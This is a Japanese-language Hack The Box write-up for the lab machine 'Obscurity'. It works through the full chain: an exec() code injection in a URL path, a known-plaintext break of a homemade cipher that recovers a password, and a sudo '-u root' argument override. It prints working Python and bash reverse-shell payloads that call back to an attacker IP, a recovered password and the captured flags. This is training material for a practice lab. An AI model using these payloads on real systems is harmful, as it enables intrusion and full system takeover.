Hack The BoxのWriteup(Obscurity)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Obscurity — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 8080/http (BadHTTPServer)
develop配下のソース入手
SuperSecureServer.py
exec()コードインジェクション
URLパス経由
www-data RCE
known-plaintext攻撃
SuperSecureCrypt鍵導出
robert su
user.txt ✓
BetterSSH.py sudo引数
複数-u指定の上書き
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -p- --min-rate 2000 -T4 10.129.227.178
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH
8080/tcp open  http-proxy
Service Info: OS: Linux

Webサイトの確認

BASH
curl -sI http://10.129.227.178:8080/
RESULT
HTTP/1.1 200 OK
Server: BadHTTPServer
Content-Type: text/html
BASH
curl -s http://10.129.227.178:8080/ | grep -A3 "Server Dev"
RESULT
<h4 class="experience-title accent">Server Dev</h4>
<p class="education-description">Message to server devs: the current source
code for the web server is in 'SuperSecureServer.py' in the
secret development directory</p>
ℹ️
トップページ自体に「開発者向けメッセージ」として、サーバーのソースコード名と 「秘密の開発用ディレクトリ」に置かれているというヒントが直接記載されている。 サイト名/モットーの通り「Security Through Obscurity」(隠すことによるセキュリティ)を 地で行く設計ミス。
PHASE 2

developディレクトリの発見とソースコード入手

develop配下を推測してアクセス

BASH
curl -s http://10.129.227.178:8080/develop/SuperSecureServer.py
RESULT (冒頭抜粋)
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
...
/develop/ ディレクトリ配下に直接ソースファイル名を指定するだけで アクセスできた(ffuf等でのブルートフォースも有効だが、今回はヒント通り 直接パスを試すだけで到達できた)。socket/os/ subprocess が既にモジュールレベルでimportされている点に注目 (後のコードインジェクションで、これらを追加importせずそのまま使える)。

脆弱なserveDoc()関数を特定

RESULT (該当箇所)
def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = "output = 'Document: {}'" # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?
        cwd = os.path.dirname(os.path.realpath(__file__))
        ...
🚨
致命的なコードインジェクション脆弱性。 リクエストされたURLパス (ユーザー完全制御)を、"output = 'Document: {}'".format(path)という 文字列に埋め込んでexec()で直接実行している。 パスに '(シングルクォート)を含めれば、その時点で文字列リテラルを 閉じることができ、以降を任意のPython文として注入できる。
PHASE 3

exec()コードインジェクションでのRCE確立

ペイロード構造の設計

NOTE
元のテンプレート文字列: "output = 'Document: {}'"
{} にURLパスがそのまま埋め込まれる。

パスとして  /';<任意のPythonコード>;'  を送ると、format後の文字列は:

  output = 'Document: /';<任意のPythonコード>;''

という並びになる。分解すると:
  1. output = 'Document: /'   ← 正常な文字列代入として完結(自分のパスの'で閉じる)
  2. ;                        ← 文560区切り
  3. <任意のPythonコード>         ← ここが実際に実行される!
  4. ;                        ← 文区切り
  5. ''                       ← 空文字列の式(無害なダミー、元テンプレート由来の
                                 余った ' を吸収するために自分でも ' を1つ追加している)

socket/os/subprocessは既にモジュールレベルでimport済みなので、
注入コード内でそのまま「socket.socket(...)」等の裸の名前で参照できる。

リバースシェルペイロードの送信

⚠️
ハマりどころ: リバースシェルのペイロードには subprocess.call(["/bin/sh","-i"]) のように 角括弧 [ ] が含まれる。 curlはデフォルトでURL中の[...]自身のグロビング(範囲指定)構文として解釈しようとし、 curl: (3) bad range specificationリクエスト自体を 送信せず失敗する。これに気づかずログだけを見ると「リバースシェル接続が タイムアウトした」ようにしか見えず、原因の特定が難しい典型的な罠。 -g(--globoff)オプションでURLグロビングを 無効化する必要がある。
BASH
# ターミナル1: リスナー
nc -lnvp 4444

# ターミナル2: ペイロード送信 (-g を忘れないこと!)
curl -g -s "http://10.129.227.178:8080/';\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect((\"10.10.15.200\",4444));\
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);\
p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.227.178] 47660
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE確立成功。 www-data権限のインタラクティブシェルを取得。
PHASE 4

SuperSecureCrypt known-plaintext攻撃 → user.txt

robertのホームディレクトリの手掛かりファイルを発見

BASH
$ ls -la /home/robert/
RESULT
check.txt              (平文、world-readable)
out.txt                (check.txtを独自暗号で暗号化したもの)
passwordreminder.txt   (robertのパスワードを同じ独自暗号で暗号化したもの)
SuperSecureCrypt.py    (独自暗号アルゴリズムの実装)
ℹ️
check.txt(平文)とout.txt(その暗号文)という 既知平文・暗号文ペアが world-readable で置かれている。 暗号アルゴリズムが加算式の単純な繰り返し鍵暗号であれば、このペアから鍵そのものを 復元できる(known-plaintext攻撃)。

SuperSecureCrypt.pyの暗号方式を確認

BASH
$ cat /home/robert/SuperSecureCrypt.py
RESULT (暗号化ロジック抜粋)
# 暗号化: newchr = chr((ord(plainChr) + ord(keyChr)) % 255)
# 復号:   newchr = chr((ord(cipherChr) - ord(keyChr)) % 255)
# 鍵は文字列の各バイトに繰り返し適用される (Vigenère暗号と同じ構造)
ℹ️
暗号は「平文バイトと鍵バイトを加算し255で剰余を取る」という単純な加算式暗号 (Vigenère暗号と本質的に同じ構造)。既知平文攻撃は容易: (暗号文バイト - 平文バイト) % 255 を各位置で計算すれば、 その位置での鍵バイトが直接求まる。鍵が周期的に繰り返されているなら、 求めたバイト列自体の周期性を調べれば鍵の長さと内容の両方が特定できる。

鍵の導出

⚠️
ハマりどころ: out.txt/check.txtの内容には 0x80以降のバイト値(UTF-8複数バイト表現)を含む文字が現れる。生ソケット越しに catの出力を受信する際、受信チャンクごとに個別に .decode("utf-8")していると、マルチバイト文字がTCPの2回の recv()呼び出しの境界をまたいで分割受信された場合に、各チャンク単体では 不完全な/不正なUTF-8シーケンスとして扱われ文字化けする。 受信した生バイト列をすべて蓄積してから最後に一括デコードする必要がある。 また非対話シェル(/bin/sh -i)特有の「シェル自身のプロンプト文字列 ($ )が出力の末尾に紛れ込む」現象にも注意し、余計な2文字を 取り除いてから鍵導出計算を行う。
PYTHON
def derive_key(cipher, plain):
    n = min(len(cipher), len(plain))
    raw_key = "".join(chr((ord(cipher[i]) - ord(plain[i])) % 255) for i in range(n))
    for klen in range(1, n + 1):
        candidate = raw_key[:klen]
        full, rem = divmod(n, klen)
        if candidate * full + candidate[:rem] == raw_key:
            return candidate
    return raw_key

key = derive_key(cipher_bytes, plain_bytes)
RESULT
導出された鍵の周期パターン: "alexandrovich" (13文字の繰り返し)

passwordreminder.txtを復号

BASH
$ cat /home/robert/passwordreminder.txt
PYTHON (復号)
def decrypt(cipher, key):
    keylen = len(key)
    decrypted = ""
    for i, x in enumerate(cipher):
        decrypted += chr((ord(x) - ord(key[i % keylen])) % 255)
    return decrypted

robert_pass = decrypt(reminder_bytes, "alexandrovich")
RESULT
SecThruObsFTW
認証情報取得: robert : SecThruObsFTW

su robert → user.txt

⚠️
ハマりどころ: webshell経由の生ソケットリバースシェルには 制御端末(TTY)が割り当てられていないため、suはそのままでは "su: must be run from a terminal"で失敗する。 python3 -c "import pty; pty.spawn('/bin/bash')"で疑似端末を 割り当ててからsuを実行する必要がある(Cache/Magic等の他HTBマシンでも 繰り返し現れる定番の落とし穴)。
BASH
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@obscure:/$ su robert
Password: SecThruObsFTW
robert@obscure:/$ id
RESULT
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)
BASH
robert@obscure:/$ cat /home/robert/user.txt
RESULT
f699937a35ae8b2cb19594a84f1d7dc0
user.txt — robert@obscure
f699937a35ae8b2cb19594a84f1d7dc0
PHASE 5

権限昇格の下調べ — BetterSSH.pyの解析

sudo権限の確認

BASH
robert@obscure:/$ sudo -l
RESULT
User robert may run the following commands:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
ℹ️
robertはBetterSSH.pyという自社製「SSHの安全な代替」スクリプトを パスワードなし・任意ユーザーとして(既定ではroot)実行できる。

BetterSSH.pyのソースを解析

BASH
robert@obscure:/$ cat /home/robert/BetterSSH/BetterSSH.py
RESULT (該当箇所抜粋)
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
# /etc/shadow を読み、入力されたユーザーのハッシュと突き合わせて認証
...
with open('/tmp/SSH/'+path, 'w') as f:   # 認証処理中に一時ファイルを作成
    f.write(passwordFile)
...
if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
🚨
重大な脆弱性: 認証後のコマンド実行部分で、あらかじめ ['sudo', '-u', ログインユーザー名]という配列を組み立てた後、 ユーザーが入力したコマンド文字列をそのままスペース区切りで cmd.extend()している。もしユーザーが入力したコマンドの 先頭に-u rootを含めると、最終的な引数リストは ['sudo', '-u', 'robert', '-u', 'root', <実行したいコマンド>] となる。sudo-uオプションが複数回指定された場合、 最後に指定された値を採用するという挙動があるため、実質的に sudo -u root <コマンド>として実行される。BetterSSH.py自体は sudo(NOPASSWD、既定でroot)経由で起動されているため、この sudo呼び出し自体もroot権限で行われ、権限昇格が成立する。
⚠️
ハマりどころ: BetterSSH.pyは認証処理中、読み取った /etc/shadowの内容を一時的に /tmp/SSH/<ランダム名> へ書き出す。この/tmp/SSH/ディレクトリはデフォルトで 存在しないため、事前に作成しておかないと FileNotFoundErrorで即座にスクリプトが終了してしまい、 ログインプロンプトにすら到達できない。
PHASE 6

sudo引数上書きによる権限昇格 → root.txt

/tmp/SSHディレクトリを作成しリバースシェルスクリプトを準備

BASH
robert@obscure:/$ mkdir -p /tmp/SSH
robert@obscure:/$ echo 'bash -i >/dev/tcp/10.10.15.200/4445 0<&1 2>&1' > /tmp/.shell.sh
ℹ️
BetterSSH.pyの認証ループに入った後は入力がすべて sudo -u <user> <入力そのまま>として実行される(生のbashではない)ため、 >によるリダイレクトを使ったファイル書き込みはBetterSSH.py側では 機能しない。そのためリバースシェル起動スクリプトはBetterSSH.pyを 起動する前に、通常のbashシェル側であらかじめ用意しておく必要がある。

BetterSSH.pyを起動し認証

BASH
robert@obscure:/$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
RESULT
Authed!
robert@Obscure$

sudo引数上書きペイロードを送信

BASH
# ターミナル2: root権限リバースシェル用リスナー
nc -lnvp 4445
BASH
robert@Obscure$ -u root bash /tmp/.shell.sh
RESULT (nc :4445 リスナー側)
listening on [any] 4445 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.227.178] 50638
root@obscure:/# id
uid=0(root) gid=0(root) groups=0(root)
root権限奪取成功。 sudo -u robert -u root bash /tmp/.shell.sh として実行され、複数-u指定時の「最後を採用」という挙動によりroot権限で bashスクリプトが実行され、rootのリバースシェルが着弾した。

root.txt 取得

BASH
root@obscure:/# cat /root/root.txt
RESULT
de4ba05b2a6a9590389dff7f52f6e0ae
root.txt — root@obscure
de4ba05b2a6a9590389dff7f52f6e0ae
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — robert@obscure
f699937a35ae8b2cb19594a84f1d7dc0
root.txt — root@obscure
de4ba05b2a6a9590389dff7f52f6e0ae

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
exec()コードインジェクション SuperSecureServer.py の serveDoc() リモートコード実行 (www-data) Critical URLパスに ‘ を含め文字列フォーマットを介した exec() へ任意Pythonコードを注入
独自暗号アルゴリズムのknown-plaintext脆弱性 SuperSecureCrypt.py (加算式繰り返し鍵暗号) robertパスワードの復元 High world-readableな平文/暗号文ペアから鍵alexandrovichを導出しpasswordreminder.txtを復号
sudo引数の無検証連結 BetterSSH.py の cmd.extend(command.split(‘ ‘)) root権限でのコマンド実行 Critical 入力コマンドの先頭に “-u root” を含め、sudoの複数-u指定時「最後を採用」する挙動を悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + トップページのヒント22/ssh, 8080/http (BadHTTPServer)
2ソース入手/develop/SuperSecureServer.py 直接取得serveDoc()のexec()脆弱性発見
3コードインジェクションURLパス経由の任意Python実行 + リバースシェルwww-data RCE確立
4known-plaintext攻撃check.txt/out.txtから鍵導出+復号user.txt 取得 (robert:SecThruObsFTW)
5権限調査sudo -l + BetterSSH.pyソース解析sudo引数連結の脆弱性を特定
6sudo引数上書き“-u root” 注入 + リバースシェルroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
自社製Webサーバーがユーザー制御の入力を文字列フォーマット経由でexec()に渡している exec()/eval()にユーザー入力を関与させる設計を根本的に避ける。「独自実装だから安全」という思想(Security Through Obscurity)自体が誤りであることを認識する。
自社製暗号アルゴリズムが単純な加算式繰り返し鍵暗号で、known-plaintext攻撃に脆弱 独自暗号を実装せず、業界標準の検証済み暗号ライブラリ(AES-GCM等)を使用する。既知平文・暗号文ペアを同じ場所に置かない。
自社製の「安全なSSH代替」ツールがsudo引数をユーザー入力から無検証で構築している 外部コマンド実行時のパラメータは固定リストで構築し、ユーザー入力を直接コマンドライン引数として結合しない。sudoersのNOPASSWD設定は必要最小限のコマンドに厳格に限定する。
HackTheBox: Obscurity | 完全攻略レポート